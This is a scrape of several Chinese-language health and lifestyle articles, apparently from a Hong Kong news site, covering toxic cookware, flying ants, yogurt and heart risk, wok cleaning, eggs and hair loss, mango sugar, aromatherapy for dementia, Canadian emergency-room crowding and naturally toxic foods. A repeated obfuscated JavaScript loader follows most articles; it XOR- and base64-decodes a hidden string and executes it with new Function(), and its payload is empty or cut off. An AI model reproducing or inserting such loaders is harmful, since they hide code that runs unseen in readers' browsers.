厨具是下厨的灵魂，然而部分看似方便耐用的厨具，原来暗藏健康危机。台湾肾脏科医生颜宗海警告，有三种常见厨具应避免使用，否则长期下来可能将毒素与细菌吃进体内，严重甚至增加脑退化风险。    第1种：铝锅——轻便但释出有害金属 铝锅的优点是轻身、传热快，使用方便。但长久使用下，铝锅会释出铝质，可能污染食材并被人体吸收。铝可经肾脏随尿液排出，但对于需要洗肾的患者，体内铝质可能无法顺利排走。当铝累积过多，可能造成骨病变，甚至引发脑退化。 第2种：生锈铁镬——微生物温床 毒厨具｜医生警告3种厨房用品应即弃 铝锅恐增脑退化风险 即睇安全替代品铁镬若使用频率不高，容易氧化生锈。锈蚀位置会隐藏微生物，形成衞生问题。即使看似耐用，一旦出现锈渍，便不宜继续使用。 第3种：发霉木砧板——霉菌入侵食材 木砧板虽然重量足够、较耐用，但长时间使用后表面会出现刮痕，容易藏污纳垢，甚至发霉。即使用水及清洁剂清洗，也难以彻底去除霉菌。持续使用会令霉菌污染食材，影响健康。 医生建议：改用塑胶砧板 颜医生建议选用塑胶砧板，较耐用且不易藏菌。其中PP聚丙烯材质耐热程度可达摄氏120至130度，适合处理热食。 雪平锅陷阱：勿煮酸辣食物 香港大学化学系博士K Kwong（邝士山博士）亦曾在个人Facebook专页提醒，平价雪平锅（无论是不锈钢或铝制）不宜用来烹调酸味或辛辣食物，否则会释出有毒金属离子，伤害脑部。 不锈钢在酸性环境（如茄汁、咖哩、醋）中，会释出有毒的铬（III）离子（Cr³⁺）。 铝制雪平锅释出的铝离子（Al³⁺）更危险，会伤害脑部，甚至可能诱发阿兹海默症。 例如用平价雪平锅煮韩国辛辣面或泡菜，铝离子有机会渗入汤中。 资料来源：《健康2.0》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();

夏季来临，除了炎热天气和阵阵大雨，还有一样令人困扰的生物悄悄地回归——飞蚁。虽然飞蚁不具危险性，但庞大蚁只经由门窗闯入家居，不但聚集灯光周围，又在耳边嗡嗡作响，留下的脱落翅膀也十分恼人。以下整理简单有效的预防与驱除方法，助你保持家居无蚁状态，原来门口撒调味料都有效？ 飞蚁为甚么会成群出现？ 英媒《Good Housekeeping》报道，每年夏日的4月至7月，温暖潮湿的环境会触发飞蚁的交配季节，此时带翅的雄蚁与雌蚁飞出巢穴进行交配，试图建立新的群落，而温暖潮湿的天气，通常是在降雨之后，是触发群飞的主因。由于这些时段与开窗通风、户外活动重叠，飞蚁特别容易入侵家居，造成困扰。 驱赶入侵飞蚁5招 1. 吸尘器快速清除 直接用吸尘器吸走飞蚁，然后立即将集尘袋丢弃于室外，防止牠们逃脱。此方法快速、卫生，且可避免被少数会叮咬的飞蚁接触。 2. 封锁路径与干扰信息素 追踪飞蚁的动线，加强门窗周围的密封，封堵裂缝。用清洁剂擦拭牠们经过的路径，有助于干扰信息素痕迹，阻止同类再次前来。 3. 天然气味驱蚁 飞蚁对强烈气味非常敏感，方法如下： 可将水、少量洗碗精及5至10滴下列精油混合，喷洒于窗户、门、灯具周围及潮湿区域： 薄荷精油 迷迭香精油 香茅精油 可在入口处撒上肉桂粉或黑胡椒粉，这些气味能中断飞蚁的路径。 在家中点燃香茅蜡烛亦有驱赶效果。 4. 燃烧驱蚁线香 若蚁患较严重，可选用无毒的天然驱蚁线香。点燃后关闭所有门窗约20至30分钟，再打开通风。此举能促使飞蚁迅速飞离室内。 5. 强光陷阱 利用飞蚁的趋光习性：在家中开启一盏强光灯，灯下放置一盆加入清水及少量洗洁精的水盆。飞蚁会被光吸引，飞近后掉入水中溺毙。 预防飞蚁入侵：四招封锁入口 1. 封锁裂缝与缝隙 使用填缝剂或挡风雨条密封窗户、门、通风口及地基周围的任何裂缝，阻断飞蚁进入的通道。 2. 加装防虫网 在门窗上加装磁吸式或纱网防虫网，既能保持通风，又能有效阻挡飞蚁及其他昆虫。 3. 妥善储存食物 飞蚁会被甜味物质吸引。将已开封的食物放入密封容器，收纳于高处橱柜；保持流理台、地板清洁，即时清理洒出的液体与食物碎屑，并定期倒垃圾。若垃圾桶置于室外，务必盖紧。宠物进食后应立刻收走食碗。 4. 修复潮湿处 蚂蚁（尤其是木匠蚁）容易被湿气和潮湿木头吸引。若发现漏水的水管或受损的木质结构，应尽快修复，避免小问题演变成大麻烦。 飞蚁虽不致命，但大量入侵会严重影响居家生活，透过封堵裂缝、妥善储存食物、修复潮湿环境等预防措施，可大幅降低风险。一旦飞蚁闯入，善用吸尘器、强光陷阱及天然气味驱避剂，便能有效清除。保持家居干爽整洁，是对抗飞蚁的最佳策略。 资料来源：Good Housekeeping UK T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var...

以往的饮食建议总是呼吁选择低脂乳制品，不少人看到全脂乳酪或芝士，总觉得饱和脂肪太高而避之则吉。最新一项涵盖168万人的研究证实，只要每日吃对黄金份量的乳酪，心血管死亡风险竟可降11%。 研究证实每日吃对乳酪份量 心血管死亡风险降11% 复健科医生王思恒在其Facebook专页发文，引述今年1月发表于医学期刊📰项大型研究指出该项研究综合分析了来自美国、欧洲、日本、台湾等9个不同国家的健康数据，共涉及逾1,680,651名参与者，旨在探讨不同类型的乳制品摄取量与护心效果的关联。 168万人研究证实每日吃对乳酪份量护心脏 研究有何发现？ 每日进食约一盒（200克）市面有售的乳酪，能降低11%的心血管死亡风险。通常这类跨国研究的数据容易出现偏差，但今次关于乳酪的数据却完全一致。这意味着，不论是哪国人、拥有怎样的生活习惯，乳酪对心血管的保护效果都非常稳定，绝非巧合。 每日只需进食一片芝士（15克），心血管死亡风险亦能降低5%。虽然乳酪与芝士含有较高的饱和脂肪，但在这篇研究中，它们的保护效果却是最明显的。 科学家推测，相比起脂肪的高低，食物是否经过“发酵”才是真正的关键。乳制品在发酵过程中所产生的益生菌、维他命K2及活性胜肽，能有效帮助人体调节血压、改善肠道微生态，并减少身体发炎。 研究发现，乳制品绝对不是吃得越多越好。其保护效果呈现一个U型曲线，最完美份量为每日大约进食250至300克。一旦超过此份量，保护效果便会开始消失。研究人员推测，当摄取量过多时，可能同时进食牛油、忌廉等非发酵的高饱和脂肪食物，反而将发酵乳制品的好处抵消。 他补充，虽然这是一项观察性研究的统合分析，无法确立绝对的因果关系，也许是习惯吃乳酪的人本来就有更健康的生活方式，这种混淆难以完全排除。 王医生也教大家3大挑选乳制品的聪明法则： 选发酵的：优先选择乳酪及芝士，次序排在纯牛奶或牛油之前。 看含糖量：为了整体健康着想，建议选购无糖或低糖的乳酪。 量力而为：11%是整体趋势，如果本身就有心血管风险，这是一个很好的饮食调整参考。 血管硬化因脂肪积聚 可致中风心脏病 香港衞生署指出，当脂肪积聚，血管内壁形成一层沉积物，使血管硬化、收窄、阻塞和功能受损，可导致身体的主要器官缺血和缺氧，造成心脏病、高血压、脑中风等心血管疾病。而心血管疾病是全球的头号杀手，更是导致香港人死亡及疾病的主要原因之一。 预防心血管病建议： 健康饮食 不吸烟或戒烟 恒常适量运动 预防肥胖或控制体重 防止高血压 恰当处理压力 资料来源：复健科医生王思恒、《Frontiers in Nutrition》、衞生署 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();

相信不少人每次使用不锈钢镬煮食后，镬底都会残留焦黑油垢及黐底残渣，往往超难清洗！有专家教2招免刮花极速清洗法，就能轻松去除顽固黑垢，更附上4招保养不锈钢镬秘诀。 不锈钢镬烧焦/焦黑油垢超难洗？专家教免刮花极速清洗法 外媒《Good Housekeeping》指出，不锈钢厨具以卓越的保温性及极高耐用度见称，是不少家庭的厨房必备之选。然而，每次煮食后残留在不锈钢镬上的顽固烧焦油脂，往往令人相当头痛。若清洁不当，更可能永远无法清除这些碍眼的黑垢。家居护理与清洁实验室专家Jodhaira Rodriguez指出，清洗不锈钢镬其实比清洗不锈钢家电（如雪柜、洗碗碟机）更简单，因为洗镬时毋须刻意顺着纹理擦拭。她为大家拆解最快捷的洗镬方法，让厨具保持在最佳状态： 免刮花清洗不锈钢镬方法 1.日常清洁（针对普通污渍） 日常使用后，清洁不锈钢镬的最佳方法只需使用普通洗洁精和温水。如果遇到顽固污渍或食物残渣，需要稍微费点力才能去除。 需要的工具：洗洁精、不刮伤的百洁布 步骤： 趁镬身微温但不烫手时，用木匙轻轻刮掉黏在镬底的食物碎屑。 若镬底仍有残渣，待镬身完全冷却后，倒入热水浸泡至少30分钟，让食物残渣松脱。 百洁布沾取洗洁精水，彻底擦洗镬身内外。 贴士： 若遇上特别顽固的黐底物，可在镬内加水，放在炉上煮沸几分钟，有助软化烧焦的食物。 2.烧焦急救（针对严重烧焦污渍） 遇上严重烧焦时，不少人会心急想用钢丝刷硬刮，但这会严重损伤镬面。最安全的方法是使用不锈钢厨具专用清洁剂。需要注意购买市售清洁剂时，必须确保产品适用于所有厨具，而非仅用于不锈钢家电。 需要的工具：不锈钢镬清洁剂或梳打粉、不刮伤表面的细致百洁布 步骤： 在镬内加水并滴少许洗洁精，放在炉上小火慢煮5至10分钟（视乎烧焦程度）。期间用木匙刮掉烧焦残渣，然后倒掉污水。 待镬完全冷却后，在镬内撒入少量粉状清洁剂或梳打粉，加入适量水调成糊状。 用百洁布涂抹清洁剂并以画圈方式擦洗，确保渗透各个角落，这亦有助去除镬身高温加热后产生的蓝色斑纹。 用清水彻底冲洗干净，并立即用毛巾抹干，以防留下水渍。 不锈钢镬会被洗坏吗？4招保养秘诀长保如新 专家警告，不锈钢镬若清洗不当极易刮花或变色。以下3类物品绝对不能用来清洗不锈钢镬： 钢丝刷及其他强力清洁产品：会严重刮花镬面，损害其平滑质感。 烤箱/烧烤架清洁剂及漂白剂：这些化学物质过于刺激。 醋：醋的酸性太强，会损坏不锈钢的外观光泽。如必须使用，务必以等比例与清水稀释，且切勿长时间浸泡。 专家指出，最安全的做法是使用最温和的洗洁精和非研磨性百洁布。另外，千万别用冷水冲洗仍然高温的不锈钢镬，冷缩热胀会直接导致镬身变形。 想不锈钢厨具寿命更长？日常使用时紧记以下4个小贴士： 尽量使用较低的火烹调，防止食物烧焦黐底而造成变色。 若使用明火炉，炉火大小应与镬底尺寸相若。若火焰烧出镬边，极易烧黑及损坏镬面。 煮食后尽快清洗，防止污渍堆积。要清除多层日积月累的烧焦油脂，比每次清洗困难得多。 必须等不锈钢镬完全冷却后，才可用冷水冲洗，以防材质变形。 资料来源：《Good Housekeeping》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();

城市人生活压力大，不少人都面对头发稀疏或脱发的困扰。最近网上掀起一阵“食鸡蛋增发”的讨论，有网民分享自己每日食两只烚蛋，维持三个月后，原本幼薄毛燥的发质变得丝滑强韧；甚至大赞食鸡蛋的效果远比服用两年护发保健品更快。皮肤科医生柯博桓在Facebook专页指出，虽然鸡蛋能提供优质蛋白质，但吃法一旦出错，非但无法生发，反而会令脱发问题恶化。 鸡蛋提供2大核心营养 优质蛋白质是关键 从临床医学角度来看，鸡蛋确实含有头发生长不可或缺的2大核心营养： 优质蛋白质： 人体头发有90%是由角蛋白组成，蛋白质就如同建造房屋的砖头，是头发生长基石。 生物素（Biotin）： 蛋黄中含有丰富的生物素，这是维持毛囊健康与促进新陈代谢的重要维他命。 3大陷阱随时“越食越秃” 虽然鸡蛋营养丰富，但不少市民在实践时却堕入以下3大陷阱，导致适得其反： 生吞鸡蛋是大忌： 很多人误以为生鸡蛋营养更丰富。事实上，生蛋白含有一种名为“抗生物素蛋白”的物质，它会阻碍肠道吸收生物素。长期生吞鸡蛋，反而会导致身体缺乏生物素而加剧脱发。 无法对抗遗传基因： 香港男士最常见的脱发根源是“雄性秃”，这是由荷尔蒙（二氢睪固酮DHT）攻击毛囊所致。这属于基因问题，单靠补充营养无法扭转毛囊萎缩。 忽略营养均衡： 头发生长需要综合营养。除了蛋白质，铁质、锌及维他命D亦缺一不可，不能只盲目依赖鸡蛋。 3大陷阱随时“越食越秃” 医生建议3大对策 切勿单一饮食 柯医生强调，想要拯救脱发，必须先由专业医生评估毛囊的真实状态。如果毛囊已经彻底萎缩，食再多鸡蛋亦无法令其“起死回生”。他建议市民应采取以下正确的护发步调： 鸡蛋必须彻底煮熟： 煮熟能破坏生蛋白中的不良物质，令蛋黄中的生物素能被身体完全吸收。 均衡摄取多元营养： 调整饮食结构，同时补充足够的铁质、锌及各类维他命，切勿单一饮食。 及早寻求医学治疗： 若证实为遗传性雄性秃，应及早接受专业药物治疗或进行植发评估。 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) ...

夏日炎炎，又到食芒果的季节，到底血糖高可不可以吃芒果？有营养师详细拆解7款常见芒果热量与含糖量，更2招吃芒果控糖小贴士，精明避开致肥和血糖飙升陷阱。 营养师拆解7款芒果热量 这款仅42kcal 营养师杨斯涵在其Facebook专页发文指，炎炎夏日，走到水果档总能闻到阵阵诱人的芒果香。在诊所经常遇到糖尿病患者或正在进行减糖计划的人士苦恼提问：“营养师，芒果这么甜，是不是热量很高？我到底能不能吃？”她解释，想享受这份夏日限定的美味，其实不必过分担心。只要选对品种、吃对份量，不论是需要控制血糖抑或管理体重的人士，都一样可以安心进食。她为大家详细拆解了7款常见芒果品种的热量及含糖量： 营养师拆解7款芒果热量 7款芒果热量（以每100克可食部分计算，依热量由高至低排列）： 黑香芒果：热量66 kcal/碳水 16.9g（热量与含糖量最高，需特别留意） 玉文芒果：热量62 kcal/碳水 16.1g 土芒果：热量54 kcal/碳水 14.2g 夏雪芒果：热量约54 kcal/碳水约 13.5g  金煌芒果：热量52 kcal/碳水 13.9g 凯特芒果：热量约50 kcal/碳水约 12.5g 爱文芒果：热量42 kcal/碳水 11.0g（热量与含糖量最低，控糖首选） （注：水果的蛋白质与脂肪含量极低，热量的差异主要来自于“碳水化合物”的含量。） 公开2招吃芒果控糖小贴士 最低卡的爱文芒果可吃这份量 看完了上述数据，大家可能会想：“那我就放心大口吃爱文或金煌芒果吧？”，杨斯涵提醒，在选择新鲜的原型食物时，更要留意份量的陷阱： 1.认识“一份水果”的视觉化代换 在糖尿病卫教与减糖饮食中，通常会将“15克碳水化合物”视为“1份糖”（即1份水果）。 若选择吃最高卡的黑香芒果：大约吃90克，就已达到1份糖的上限。 若选择吃最低卡的爱文芒果：则可以吃到约135克（大约是市面上中小型爱文芒果的半个）。 2.小心金煌芒果的陷阱 从帐面数据看，金煌芒果每100克的热量（52千卡）并不高，但千万别忘记，金煌芒果的单个体积通常极大，一个动辄重达900至1200克。如果切了一大个边看电视边吃，很容易不小心就吃下超过3到4份水果的糖量。瞬间涌入体内的大量果糖与葡萄糖，不仅会造成餐后血糖直线飙升，长期下来更会加重胰岛素阻抗的风险，让脂肪更容易在体内囤积。 她表示，芒果富含维他命A、维他命C与膳食纤维，本身是非常优质的原型食物。大家只需谨记一天最多吃2份水果的原则，并尽量安排在餐后直接食用，避免在空腹或两餐之间当点心，以减少血糖波动。就算是需要控制糖分的人士，也能在夏天开心享受金黄色的美味。 资料来源：营养师杨斯涵 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) ...

世界卫生组织数据显示，2021年全球约有5,700万人患有认知障碍症（俗称脑退化症），每年新增个案近1,000万宗。患者除了记忆力衰退，亦常出现躁动、焦虑、失眠等行为及心理症状，令照顾者身心俱疲。虽然药物治疗十分重要，但同时可能带来嗜睡或增加跌倒风险等副作用。因此，医学界近年积极寻找较温和的非药物治疗方案，而“香薰治疗”正是备受关注的选项之一。 嗅觉直达边缘系统 唤醒情绪记忆 香薰治疗主要利用天然植物提取的精油，透过嗅觉刺激或皮肤吸收发挥疗效。嗅觉神经是少数能直接连通大脑边缘系统（Limbic System）的感官通道，该处正是负责情绪调节与记忆的核心区域。即使患者的语言及认知能力已明显退化，熟悉且愉悦的气味仍有机会唤起过往的回忆与正面情绪，带来心理抚慰，从而缓解焦虑、躁动及睡眠困扰等问题。 早激晚静配搭 临牀证实减轻躁动 近年多项临牀研究证实，香薰治疗对改善患者的行为及心理症状具有正面效益。日本一项针对认知障碍症长者的研究采用了“早激晚静”方案：早上使用迷迭香及柠檬精油提升注意力及日间认知功能；晚上则改用薰衣草及甜橙精油，以稳定情绪及促进睡眠。结果显示，参加者在时间及个人定向等认知评估中的分数有显著改善，且未见严重副作用。 此外，笔者的研究团队近年亦针对家居吸入式香薰治疗进行探讨。结果发现，使用香薰的长者在躁动、焦虑、抑郁及睡眠等问题上均有不同程度的改善，同时有效减轻了照顾者的沉重压力。 4大常用精油 缓解认知障碍症 根据研究及临床实践，以下四款精油较常应用于认知障碍症照护中： 薰衣草（Lavandula angustifolia）： 具镇静及稳定情绪效果，有助减少躁动行为及改善睡眠，适合傍晚或睡前使用。低血压患者及怀孕初期妇女应避免使用；服用薄血药者则宜只作吸闻。 迷迭香（Rosmarinus officinalis）： 有助提升注意力和记忆力，增强认知能力，适合日间使用。高血压患者、癫痫患者及孕妇不宜使用。 柠檬（Citrus limon）： 有助提振情绪及帮助精神集中，可配搭迷迭香于早上使用。由于具光敏性，若涂抹于皮肤，使用后12小时内应避免日晒。 甜橙（Citrus sinensis）： 气味温暖，有助缓解压力与失眠，可配搭薰衣草于晚上使用。同样具光敏性，若接触皮肤需注意防晒。 在家中应用时，应遵守“低剂量、短时间、观察反应”三大原则。避免将高浓度或未稀释的精油直接涂于皮肤，长者适用浓度建议不超过1%至3%。若作吸闻，每次可滴1至2滴精油吸闻约一小时，或在通风环境下短时间扩香。使用期间需留意长者有否出现头痛、恶心或抗拒气味，如有不适应立即停止。若长者有气喘、严重心肺疾病或癫痫史，使用前应咨询医生或合资格香薰治疗师意见。 香薰治疗非万灵丹 辅助治疗释放压力 香薰治疗并非万灵丹，它属于相对低风险、易于在家中实施的非药物辅助疗法，其角色在于配合、而非取代药物及正规医疗诊治。虽然现有研究数据大致正面，但碍于大部分研究规模较小且操作方法不一，医学界仍需透过更严格的大型实证研究，才能更准确评估其对不同疾病阶段的效益与最佳剂量。 对于照顾者而言，在医护人员和香薰治疗师的指导下，循序渐进地将香薰治疗融入日常照护程序，不仅能为长者带来一份额外的安慰与宁静，同时让照顾者在沉重的照顾压力下，获得片刻的心灵喘息。 撰文：香港都会大学护理及健康学院助理教授李小燕博士 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var...

【星岛综合报道】加拿大医院急症室不堪重负，疲于应对远超其容量的需求，越来越多的病人在“非常规空间”内接受病情评估。 据《国家邮报》（National Post）报道，官方对那些从未设计或配备用于提供急症服务空间，委婉地说词所谓“非常规空间”。这些空间里面没有氧气或吸痰设备，没有呼叫铃，没有方便的洗手间或水槽，也没有任何私隐可言。 临时开辟空间当急症室 “非常规空间”可以包括任何临时开辟出来的空间。医院正把救护车停车区改造成病房。 加拿大急症医师协会农村、偏远和小城镇分会主席麦凯（Fraser Mackay）说，里面“没有暖气，没有自来水，但‘聊胜于无——我们正在把病人安置在冰冷的车库里照顾他们。’”。 加拿大的病人曾在壁橱和洗手间里接受检查，医生们不得不挤进候诊室，把病人带到角落里和狭小的隔间。为了给滞留在混乱的走廊的患者提供遮蔽，人们将毯子挂在输液架上，临时搭起帘子。 麦凯说，虽然这或许能给人一种医疗系统勉强维持运作的幻觉，但“‘我们可以让病人坐在椅子上接受治疗’这种理念，必会损害医疗品质”。 他坦承，自己那些坐在椅子上接受治疗的病人曾多次遇到“险情”，险些酿成大祸，比如内出血的案例，幸亏医护人员保持警惕，才避免了灾难的发生，“我当时就直觉不太妙，说实话，这可是医生工作中非常重要的一部分。” 急症医生须适应任何环境 亚省Medicine Hat的急症医生帕克斯（Paul Parks）表示，全国各地的急症医护人员，都面临着一种进退两难的道德困境，他们必须能够在任何空间内为病人提供治疗。 曾是亚省医学协会（Alberta Medical Association）主席的帕克斯强调，“你不想看到病人受苦，不想看到病情恶化的病人在候诊室里徘徊。但你也知道，当你走出去的时候，你身边没有护士，没有监护，没有在正规医疗场所应该有的那些标准设施。” 他也认同，进行一些医疗护理和干预措施，总比甚么都不做好，“但这就像在巨大的伤口上贴了一块创可贴。” 根据新闻媒体《The Trillium》首次报道，2023-2024年度，安省急症室平均每天有1,390名患者，在“非常规空间”接受治疗。 多年来，各地急症室一直在努力建造“轻症诊疗区”。在帕克斯的Medicine Hat，这意味着在候诊室外的公共走廊里，用办公室隔开三把椅子。 于是，“椅子诊疗”就此诞生。 近年又出现了“快速评估区”，专为病情较轻的病人设计，让这些人可以在室内候诊区或椅子区安全就诊，例如扭伤、需要缝针的割伤、咽喉痛、耳部感染等。这些区域配备了舒适的软垫躺椅，有时还会有一两张床。其主旨就是就诊效率——快速评估、治疗并让患者离开。 “这最大限度地利用了空间，提高了就诊效率，”渥太华地区急症医生赫尔曼（Michael Herman）说道。 潜在的危险在于急症室“塞满了病人”，这意味着所有隔间或走廊的担架都挤满了，而更加稀缺的床位更是被占满了。这种情况被行政部门委婉地称为“入院通道阻塞”。 赫尔曼说，“这种情况正慢慢变得司空见惯——就像温水煮青蛙一样。” 而对“未确诊”的病人来说，这可能很危险，例如胸痛，你不知道究竟是胃酸倒流、肺炎，还是正在发展的心脏病发作？ “我们许多人每天都像在担心的五级警报火灾一样，”赫尔曼说。 医生陷道德困境 麦凯指出，当医院满负荷运转，病人涌入急症室时，“标准就变了，适宜性也荡然无存了。” “你无法对坐在椅子上的病人进行适当的体检，也不能从保护病人私隐的角度出发。你必须掀起他们的衣服，脱掉裤子，装上监测器、攞出听诊器。” 当快速通道区和其他候诊区人满为患，包括一些病情危重、需要更长时间护理的患者，导致这些区域拥堵不堪时，“我们就会到候诊室去，”帕克斯说。医生们试图发现那些存在发生紧急情况风险的患者，避免候诊室再次出现混乱。 这种权宜之计，已经持续不断引发医生们就有关医疗伦理展开辩论。 麦凯深陷“甚么更重要？”的灵魂叩问，“我们是否应该为了至少进行某种评估”，从而牺牲医疗服务品质，任其常态化？“还是应该坚持高标准，即‘除非我有能力在合适的地点，尽我所能地为病人提供最佳治疗，否则我不会接诊病人’？” 渥太华地区急症医生赫尔曼说，“我非常同情我们的分诊护士，她们的任务几乎不可能完成，她们须在拥挤的候诊室里，像大海捞针般地找到需要救治的病人。”“由于系统无法让她们及时地将这些病人分流到他们需要的治疗区域，她们注定会失败。” 加拿大医院床位不足由来已久，这也是急症科拥挤的主要原因，但麦凯表示，除了增加床位外，还需要一个更加一体化的医疗体系，包括更多的社区支持——更多的长期护理、更多的物理治疗——以便病人出院后能够去到他们该去的地方。 图：Global News V6 ● 相关新闻：纾医院拥挤治本之道 医生：善用社区资源 ● 相关新闻：医院人满为患 急诊室危机如何导致每年数千人枉死？

不少人追求健康，远离加工垃圾食品，改食原型食物，皆因他们都以为“天然食材不会有大问题”。然而有专家指，在医院急症室中，不少病人并非被垃圾食物所害，而是被“太天然”的食物送进医院。 40岁男子食发芽薯仔 两小时后舌麻狂呕 肾脏科医生洪永祥在个人Facebook专页分享，大自然中许多植物本身带有天然毒素，有些毒素即使经高温烹调，也无法完全破坏。洪医生分享个案及点名5大最易中毒的天然食物： 有位40多岁上班族自己在家煮食，发现角落有一袋已发芽的薯仔。他心想：“豆子发芽会变豆芽菜更营养，马铃薯发芽应该也差不多吧？”于是他切掉芽眼，特意高温油炸，以为这样就安全。 结果进食后不足两小时，男子开始恶心、舌头发麻、狂呕、头晕、冒冷汗、腹部绞痛、腹泻。送抵急症室时，已意识混乱。医生诊断为急性食物中毒，即“龙葵碱中毒”。 5大最易中毒的天然食物 超毒天然食材｜1. 发芽薯仔 薯仔发芽、变绿或存放过久，会产生神经毒素“龙葵碱”。这种毒素耐高温，即使油炸也难分解。因此挖走芽眼并不足够，毒素可能已扩散全个薯仔。 中毒症状：轻微中毒会舌麻、腹泻、恶心；严重可致神智混乱、呼吸衰竭，长者及儿童风险更高。 建议：发现发芽、变绿或有苦味，应即丢弃。 超毒天然食材｜2. 未煮熟的豆类（如四季豆、红腰豆） 豆类含“植物血球凝集素”，红腰豆毒性最强。美国FDA指，几粒未熟红腰豆已可引发急性中毒。 中毒症状：曾有女士为减肥食快炒四季豆以保留脆度，结果两小时后剧烈腹痛、呕吐、脱水，肾功能变差。 建议：豆类必须彻底煮熟，不可追求爽脆口感。 超毒天然食材｜3. 木薯与竹笋 木薯及部分竹笋含“氰苷”，消化后会释出有毒的氰化物。 中毒症状：处理不当可致恶心、头晕，严重可致命。 建议：正确处理方法是“浸泡、切片、充分加热”，煮时勿盖锅盖，让毒素随蒸气挥发。 超毒天然食材｜4. 苦杏仁与水果核仁 苦杏仁、桃子核、李子核甚至苹果籽，含“苦杏仁苷”，代谢后释放氰化物。 中毒症状：有人误信偏方大量吃苦杏仁抗癌，结果急性中毒入院。过量可致头痛、呼吸困难、癫痫。 建议：家长应避免小孩咬碎果核。 超毒天然食材｜5. 新鲜金针花 新鲜金针花含“秋水仙碱”，人体内会转化为更毒的物质。 中毒症状：曾有肾病患者食大量新鲜金针花后腹痛、血尿、肾功能恶化。 建议：建议选用干金针花；若食新鲜的，必须浸泡、去除花蕊及彻底煮熟。 额外注意：异常苦味的瓜类（黄瓜、丝瓜、栉瓜） 洪医生指出，黄瓜、丝瓜、栉瓜如出现强烈苦味，可能含“葫芦素”，切勿进食。 中毒症状：曾有人饮苦瓜汁后急性肠胃炎，呕吐、腹泻、脱水及低血压。 建议：咬到发苦的花生或坚果应即吐出并漱口，以免摄入黄曲毒素。 洪永祥医生强调，天然不等于安全。植物中的毒素是其自我保护机制。真正健康的饮食，不是盲目追求“越天然越好”，而是要懂得正确处理、储存及适量进食。切勿轻信网上生食、天然抗癌等极端偏方。 资料来源：肾脏科医生洪永祥 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var...

